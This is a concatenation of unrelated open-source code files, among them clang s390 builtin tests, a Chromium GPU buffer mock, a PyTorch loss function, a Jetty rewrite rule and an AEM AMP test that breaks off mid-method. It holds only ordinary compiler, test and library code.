// CHECK: call <8 x i16> @llvm.s390.vfaezh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vfaezf(vui, vui, 0);
// CHECK: call <4 x i32> @llvm.s390.vfaezf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vfaezf(vui, vui, 15);
// CHECK: call <4 x i32> @llvm.s390.vfaezf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vfeeb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vfeeb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfeeh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vfeeh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfeef(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vfeef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vfeezb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vfeezb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfeezh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vfeezh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfeezf(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vfeezf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vfeneb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vfeneb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfeneh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vfeneh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfenef(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vfenef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vfenezb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vfenezb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfenezh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vfenezh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfenezf(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vfenezf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vistrb(vuc);
// CHECK: call <16 x i8> @llvm.s390.vistrb(<16 x i8> %{{.*}})
vus = __builtin_s390_vistrh(vus);
// CHECK: call <8 x i16> @llvm.s390.vistrh(<8 x i16> %{{.*}})
vui = __builtin_s390_vistrf(vui);
// CHECK: call <4 x i32> @llvm.s390.vistrf(<4 x i32> %{{.*}})
vuc = __builtin_s390_vstrcb(vuc, vuc, vuc, 0);
// CHECK: call <16 x i8> @llvm.s390.vstrcb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vstrcb(vuc, vuc, vuc, 15);
// CHECK: call <16 x i8> @llvm.s390.vstrcb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vstrch(vus, vus, vus, 0);
// CHECK: call <8 x i16> @llvm.s390.vstrch(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vstrch(vus, vus, vus, 15);
// CHECK: call <8 x i16> @llvm.s390.vstrch(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vstrcf(vui, vui, vui, 0);
// CHECK: call <4 x i32> @llvm.s390.vstrcf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vstrcf(vui, vui, vui, 15);
// CHECK: call <4 x i32> @llvm.s390.vstrcf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vstrczb(vuc, vuc, vuc, 0);
// CHECK: call <16 x i8> @llvm.s390.vstrczb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vstrczb(vuc, vuc, vuc, 15);
// CHECK: call <16 x i8> @llvm.s390.vstrczb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vstrczh(vus, vus, vus, 0);
// CHECK: call <8 x i16> @llvm.s390.vstrczh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vstrczh(vus, vus, vus, 15);
// CHECK: call <8 x i16> @llvm.s390.vstrczh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vstrczf(vui, vui, vui, 0);
// CHECK: call <4 x i32> @llvm.s390.vstrczf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vstrczf(vui, vui, vui, 15);
// CHECK: call <4 x i32> @llvm.s390.vstrczf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vfaebs(vuc, vuc, 0, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfaebs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vfaebs(vuc, vuc, 15, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfaebs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vfaehs(vus, vus, 0, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfaehs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vfaehs(vus, vus, 15, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfaehs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vfaefs(vui, vui, 0, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfaefs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vfaefs(vui, vui, 15, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfaefs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vfaezbs(vuc, vuc, 0, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfaezbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vfaezbs(vuc, vuc, 15, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfaezbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vfaezhs(vus, vus, 0, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfaezhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vfaezhs(vus, vus, 15, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfaezhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vfaezfs(vui, vui, 0, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfaezfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vfaezfs(vui, vui, 15, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfaezfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vfeebs(vuc, vuc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfeebs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfeehs(vus, vus, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfeehs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfeefs(vui, vui, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfeefs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vfeezbs(vuc, vuc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfeezbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfeezhs(vus, vus, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfeezhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfeezfs(vui, vui, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfeezfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vfenebs(vuc, vuc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfenebs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfenehs(vus, vus, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfenehs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfenefs(vui, vui, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfenefs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vfenezbs(vuc, vuc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vfenezbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vfenezhs(vus, vus, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vfenezhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vfenezfs(vui, vui, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vfenezfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vistrbs(vuc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vistrbs(<16 x i8> %{{.*}})
vus = __builtin_s390_vistrhs(vus, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vistrhs(<8 x i16> %{{.*}})
vui = __builtin_s390_vistrfs(vui, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vistrfs(<4 x i32> %{{.*}})
vuc = __builtin_s390_vstrcbs(vuc, vuc, vuc, 0, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vstrcbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vstrcbs(vuc, vuc, vuc, 15, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vstrcbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vstrchs(vus, vus, vus, 0, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vstrchs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vstrchs(vus, vus, vus, 15, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vstrchs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vstrcfs(vui, vui, vui, 0, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vstrcfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vstrcfs(vui, vui, vui, 15, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vstrcfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vstrczbs(vuc, vuc, vuc, 0, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vstrczbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vstrczbs(vuc, vuc, vuc, 15, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vstrczbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vstrczhs(vus, vus, vus, 0, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vstrczhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vstrczhs(vus, vus, vus, 15, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vstrczhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vstrczfs(vui, vui, vui, 0, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vstrczfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vstrczfs(vui, vui, vui, 15, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vstrczfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
}
void test_float(void) {
vsl = __builtin_s390_vfcedbs(vd, vd, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vfcedbs(<2 x double> %{{.*}}, <2 x double> %{{.*}})
vsl = __builtin_s390_vfchdbs(vd, vd, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vfchdbs(<2 x double> %{{.*}}, <2 x double> %{{.*}})
vsl = __builtin_s390_vfchedbs(vd, vd, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vfchedbs(<2 x double> %{{.*}}, <2 x double> %{{.*}})
vsl = __builtin_s390_vftcidb(vd, 0, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vftcidb(<2 x double> %{{.*}}, i32 0)
vsl = __builtin_s390_vftcidb(vd, 4095, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vftcidb(<2 x double> %{{.*}}, i32 4095)
vd = __builtin_s390_vfsqdb(vd);
// CHECK: call <2 x double> @llvm.sqrt.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfmadb(vd, vd, vd);
// CHECK: call <2 x double> @llvm.fma.v2f64(<2 x double> %{{.*}}, <2 x double> %{{.*}}, <2 x double> %{{.*}})
vd = __builtin_s390_vfmsdb(vd, vd, vd);
// CHECK: [[NEG:%[^ ]+]] = fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %{{.*}}
// CHECK: call <2 x double> @llvm.fma.v2f64(<2 x double> %{{.*}}, <2 x double> %{{.*}}, <2 x double> [[NEG]])
vd = __builtin_s390_vflpdb(vd);
// CHECK: call <2 x double> @llvm.fabs.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vflndb(vd);
// CHECK: [[ABS:%[^ ]+]] = call <2 x double> @llvm.fabs.v2f64(<2 x double> %{{.*}})
// CHECK: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, [[ABS]]
vd = __builtin_s390_vfidb(vd, 0, 0);
// CHECK: call <2 x double> @llvm.rint.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfidb(vd, 4, 0);
// CHECK: call <2 x double> @llvm.nearbyint.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfidb(vd, 4, 1);
// CHECK: call <2 x double> @llvm.round.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfidb(vd, 4, 5);
// CHECK: call <2 x double> @llvm.trunc.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfidb(vd, 4, 6);
// CHECK: call <2 x double> @llvm.ceil.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfidb(vd, 4, 7);
// CHECK: call <2 x double> @llvm.floor.v2f64(<2 x double> %{{.*}})
vd = __builtin_s390_vfidb(vd, 4, 4);
// CHECK: call <2 x double> @llvm.s390.vfidb(<2 x double> %{{.*}}, i32 4, i32 4)
}
| 18,825 |
496 | #include "program.h"
#include <iostream>
#include "error.h"
using namespace std;
int main(int argc, const char* argv[]) {
if (argc != 2) {
cerr << "Usage: simit-check <simit-source>" << endl;
return 3;
}
simit::init("cpu");
simit::Program program;
int status = program.loadFile(argv[1]);
if (status == 2) {
cerr << "Error opening file" << endl;
return 2;
}
else if (status != 0) {
cerr << program.getDiagnostics() << endl;
return 1;
}
if (program.verify() != 0) {
cerr << program.getDiagnostics() << endl;
return 4;
}
cout << "Program checks" << endl;
return 0;
}
| 255 |
415 | <reponame>zu1kbackup/joern
{
"description": "A collection of general purpose scripts.",
"scripts": [
{
"name": "list-funcs.sc",
"description": "Lists all functions."
}
]
} | 81 |
862 | /*
* (c) Copyright 2018 Palantir Technologies Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.palantir.util.jmx;
import com.palantir.annotations.PgNotExtendableApi;
import com.palantir.annotations.PgPublicApi;
@PgPublicApi
@PgNotExtendableApi
public interface OperationStats {
/**
* This returns the percentage of calls that were returned in {@code millis} milliseconds.
*
* These are often referred to as understats u2000 is the percentage of calls finished in 2ms
* {@code percentCallsFinishedInMillis(2000)} is also known as u2000
*
* @param millis the time bound we want to retrieve percentages for
* @return the percentage of calls finishing in the specified number of milliseconds
*/
double getPercentCallsFinishedInMillis(int millis);
/**
* This returns the approximate number of milliseconds for a given percentile.
*
* {@code getPercentileMillis(90)} is also known as tp90
* {@code getPercentileMillis(50)} is the median
*/
double getPercentileMillis(double perc);
void clearStats();
long getTotalTime();
long getTotalCalls();
long getTimePerCallInMillis();
double getStandardDeviationInMillis();
long getMaxCallTime();
long getMinCallTime();
double getMedianTimeRequestInMillis();
}
| 572 |
679 | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
// MARKER(update_precomp.py): autogen include statement, do not remove
#include "precompiled_sw.hxx"
#include <dbconfig.hxx>
#include <tools/debug.hxx>
#include <com/sun/star/uno/Any.hxx>
#include <com/sun/star/uno/Sequence.hxx>
#include <swdbdata.hxx>
#include <unomid.h>
using namespace utl;
using rtl::OUString;
using namespace com::sun::star::uno;
/*--------------------------------------------------------------------
Beschreibung: Ctor
--------------------------------------------------------------------*/
const Sequence<OUString>& SwDBConfig::GetPropertyNames()
{
static Sequence<OUString> aNames;
if(!aNames.getLength())
{
static const char* aPropNames[] =
{
"AddressBook/DataSourceName", // 0
"AddressBook/Command", // 1
"AddressBook/CommandType", // 2
"Bibliography/CurrentDataSource/DataSourceName", // 4
"Bibliography/CurrentDataSource/Command", // 5
"Bibliography/CurrentDataSource/CommandType" // 6
};
const int nCount = sizeof(aPropNames)/sizeof(const char*);
aNames.realloc(nCount);
OUString* pNames = aNames.getArray();
for(int i = 0; i < nCount; i++)
pNames[i] = OUString::createFromAscii(aPropNames[i]);
}
return aNames;
}
/* -----------------------------06.09.00 16:44--------------------------------
---------------------------------------------------------------------------*/
SwDBConfig::SwDBConfig() :
ConfigItem(C2U("Office.DataAccess"),
CONFIG_MODE_DELAYED_UPDATE|CONFIG_MODE_RELEASE_TREE),
pAdrImpl(0),
pBibImpl(0)
{
};
/* -----------------------------06.09.00 16:50--------------------------------
---------------------------------------------------------------------------*/
SwDBConfig::~SwDBConfig()
{
delete pAdrImpl;
delete pBibImpl;
}
/* -----------------------------20.02.01 12:32--------------------------------
---------------------------------------------------------------------------*/
void SwDBConfig::Load()
{
const Sequence<OUString>& rNames = GetPropertyNames();
if(!pAdrImpl)
{
pAdrImpl = new SwDBData;
pAdrImpl->nCommandType = 0;
pBibImpl = new SwDBData;
pBibImpl->nCommandType = 0;
}
Sequence<Any> aValues = GetProperties(rNames);
const Any* pValues = aValues.getConstArray();
DBG_ASSERT(aValues.getLength() == rNames.getLength(), "GetProperties failed");
if(aValues.getLength() == rNames.getLength())
{
for(int nProp = 0; nProp < rNames.getLength(); nProp++)
{
switch(nProp)
{
case 0: pValues[nProp] >>= pAdrImpl->sDataSource; break;
case 1: pValues[nProp] >>= pAdrImpl->sCommand; break;
case 2: pValues[nProp] >>= pAdrImpl->nCommandType; break;
case 3: pValues[nProp] >>= pBibImpl->sDataSource; break;
case 4: pValues[nProp] >>= pBibImpl->sCommand; break;
case 5: pValues[nProp] >>= pBibImpl->nCommandType; break;
}
}
}
}
/* -----------------------------20.02.01 12:36--------------------------------
---------------------------------------------------------------------------*/
const SwDBData& SwDBConfig::GetAddressSource()
{
if(!pAdrImpl)
Load();
return *pAdrImpl;
}
/* -----------------29.11.2002 11:43-----------------
*
* --------------------------------------------------*/
const SwDBData& SwDBConfig::GetBibliographySource()
{
if(!pBibImpl)
Load();
return *pBibImpl;
}
void SwDBConfig::Commit() {}
void SwDBConfig::Notify( const ::com::sun::star::uno::Sequence< rtl::OUString >& ) {}
| 1,618 |
362 | {
"recommendations": [
"esbenp.prettier-vscode",
"vscode-icons-team.vscode-icons",
"graphql.vscode-graphql"
]
}
| 66 |
2,151 | <reponame>zipated/src
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "media/capture/video/mock_gpu_memory_buffer_manager.h"
#include <memory>
#if defined(OS_CHROMEOS)
#include "media/capture/video/chromeos/stream_buffer_manager.h"
#endif
using ::testing::Return;
namespace media {
namespace unittest_internal {
namespace {
class FakeGpuMemoryBuffer : public gfx::GpuMemoryBuffer {
public:
FakeGpuMemoryBuffer(const gfx::Size& size, gfx::BufferFormat format)
: size_(size), format_(format) {
// We use only NV12 or R8 in unit tests.
EXPECT_TRUE(format == gfx::BufferFormat::YUV_420_BIPLANAR ||
format == gfx::BufferFormat::R_8);
size_t y_plane_size = size_.width() * size_.height();
size_t uv_plane_size = size_.width() * size_.height() / 2;
data_ = std::vector<uint8_t>(y_plane_size + uv_plane_size);
handle_.type = gfx::NATIVE_PIXMAP;
// Set a dummy id since this is for testing only.
handle_.id = gfx::GpuMemoryBufferId(0);
#if defined(OS_CHROMEOS)
// Set a dummy fd since this is for testing only.
handle_.native_pixmap_handle.fds.push_back(base::FileDescriptor(0, false));
handle_.native_pixmap_handle.planes.push_back(
gfx::NativePixmapPlane(size_.width(), 0, y_plane_size));
handle_.native_pixmap_handle.planes.push_back(gfx::NativePixmapPlane(
size_.width(), handle_.native_pixmap_handle.planes[0].size,
uv_plane_size));
// For faking a valid JPEG blob buffer.
if (base::checked_cast<size_t>(size_.width()) >= sizeof(Camera3JpegBlob)) {
Camera3JpegBlob* header = reinterpret_cast<Camera3JpegBlob*>(
reinterpret_cast<uintptr_t>(data_.data()) + size_.width() -
sizeof(Camera3JpegBlob));
header->jpeg_blob_id = kCamera3JpegBlobId;
header->jpeg_size = size_.width();
}
#endif
}
~FakeGpuMemoryBuffer() override = default;
bool Map() override { return true; }
void* memory(size_t plane) override {
auto* data_ptr = data_.data();
size_t y_plane_size = size_.width() * size_.height();
switch (plane) {
case 0:
return reinterpret_cast<void*>(data_ptr);
case 1:
return reinterpret_cast<void*>(data_ptr + y_plane_size);
default:
NOTREACHED() << "Unsupported plane: " << plane;
return nullptr;
}
}
void Unmap() override {}
gfx::Size GetSize() const override { return size_; }
gfx::BufferFormat GetFormat() const override { return format_; }
int stride(size_t plane) const override {
switch (plane) {
case 0:
return size_.width();
case 1:
return size_.width();
default:
NOTREACHED() << "Unsupported plane: " << plane;
return 0;
}
}
void SetColorSpace(const gfx::ColorSpace& color_space) override {}
gfx::GpuMemoryBufferId GetId() const override { return handle_.id; }
gfx::GpuMemoryBufferHandle GetHandle() const override { return handle_; }
ClientBuffer AsClientBuffer() override {
NOTREACHED();
return ClientBuffer();
}
private:
gfx::Size size_;
gfx::BufferFormat format_;
std::vector<uint8_t> data_;
gfx::GpuMemoryBufferHandle handle_;
DISALLOW_IMPLICIT_CONSTRUCTORS(FakeGpuMemoryBuffer);
};
} // namespace
MockGpuMemoryBufferManager::MockGpuMemoryBufferManager() = default;
MockGpuMemoryBufferManager::~MockGpuMemoryBufferManager() = default;
// static
std::unique_ptr<gfx::GpuMemoryBuffer>
MockGpuMemoryBufferManager::CreateFakeGpuMemoryBuffer(
const gfx::Size& size,
gfx::BufferFormat format,
gfx::BufferUsage usage,
gpu::SurfaceHandle surface_handle) {
return std::make_unique<FakeGpuMemoryBuffer>(size, format);
}
} // namespace unittest_internal
} // namespace media
| 1,463 |
995 | <filename>lib/losses3D/pixel_wise_cross_entropy.py
from lib.losses3D.basic import *
import torch.nn as nn
# Code was adapted and mofified from https://github.com/wolny/pytorch-3dunet/blob/master/pytorch3dunet/unet3d/losses.py
class PixelWiseCrossEntropyLoss(nn.Module):
def __init__(self, class_weights=None, ignore_index=None):
super(PixelWiseCrossEntropyLoss, self).__init__()
self.register_buffer('class_weights', class_weights)
self.ignore_index = ignore_index
self.log_softmax = nn.LogSoftmax(dim=1)
def forward(self, input, target, weights):
assert target.size() == weights.size()
# normalize the input
log_probabilities = self.log_softmax(input)
# standard CrossEntropyLoss requires the target to be (NxDxHxW), so we need to expand it to (NxCxDxHxW)
target = expand_as_one_hot(target, C=input.size()[1], ignore_index=self.ignore_index)
# expand weights
weights = weights.unsqueeze(0)
weights = weights.expand_as(input)
# create default class_weights if None
if self.class_weights is None:
class_weights = torch.ones(input.size()[1]).float().to(input.device)
else:
class_weights = self.class_weights
# resize class_weights to be broadcastable into the weights
class_weights = class_weights.view(1, -1, 1, 1, 1)
# multiply weights tensor by class weights
weights = class_weights * weights
# compute the losses3D
result = -weights * target * log_probabilities
# average the losses3D
return result.mean()
| 665 |
3,353 | <reponame>bsipocmpi/jetty.project<filename>jetty-rewrite/src/main/java/org/eclipse/jetty/rewrite/handler/TerminatingPatternRule.java
//
// ========================================================================
// Copyright (c) 1995-2021 Mort Bay Consulting Pty Ltd and others.
//
// This program and the accompanying materials are made available under the
// terms of the Eclipse Public License v. 2.0 which is available at
// https://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
// which is available at https://www.apache.org/licenses/LICENSE-2.0.
//
// SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
// ========================================================================
//
package org.eclipse.jetty.rewrite.handler;
import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* If this rule matches, terminate the processing of other rules.
* Allowing the request to be processed by the handlers after the rewrite rules.
*/
public class TerminatingPatternRule extends PatternRule
{
public TerminatingPatternRule()
{
this(null);
}
public TerminatingPatternRule(String pattern)
{
super(pattern);
super.setTerminating(true);
}
@Override
public void setTerminating(boolean terminating)
{
if (!terminating)
{
throw new RuntimeException("Not allowed to disable terminating on a " + TerminatingPatternRule.class.getName());
}
}
@Override
protected String apply(String target, HttpServletRequest request, HttpServletResponse response) throws IOException
{
return target;
}
}
| 536 |
389 | <gh_stars>100-1000
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Copyright 2019 Adobe
~
~ Licensed under the Apache License, Version 2.0 (the "License");
~ you may not use this file except in compliance with the License.
~ You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing, software
~ distributed under the License is distributed on an "AS IS" BASIS,
~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
~ See the License for the specific language governing permissions and
~ limitations under the License.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
package com.adobe.cq.wcm.core.extensions.amp.internal;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import com.adobe.cq.wcm.core.extensions.amp.AmpTestContext;
import io.wcm.testing.mock.aem.junit5.AemContext;
import io.wcm.testing.mock.aem.junit5.AemContextExtension;
import static org.junit.jupiter.api.Assertions.assertEquals;
@ExtendWith(AemContextExtension.class)
class AmpUtilTest {
private static final String TEST_BASE = "/amp-util";
private static final String TEST_ROOT_PAGE = "/content";
private final AemContext context = AmpTestContext.newAemContext();
@BeforeEach
void setUp() {
context.load().json(TEST_BASE + AmpTestContext.TEST_CONTENT_JSON, TEST_ROOT_PAGE);
}
@Test
void isAmpModeWithDefaults() {
context.currentResource("/content/no-amp");
assertEquals(AmpUtil.AMP_MODE.NO_AMP, AmpUtil.getAmpMode(context.request()));
}
@Test
void isAmpMode() {
context.currentResource("/content/amp-only");
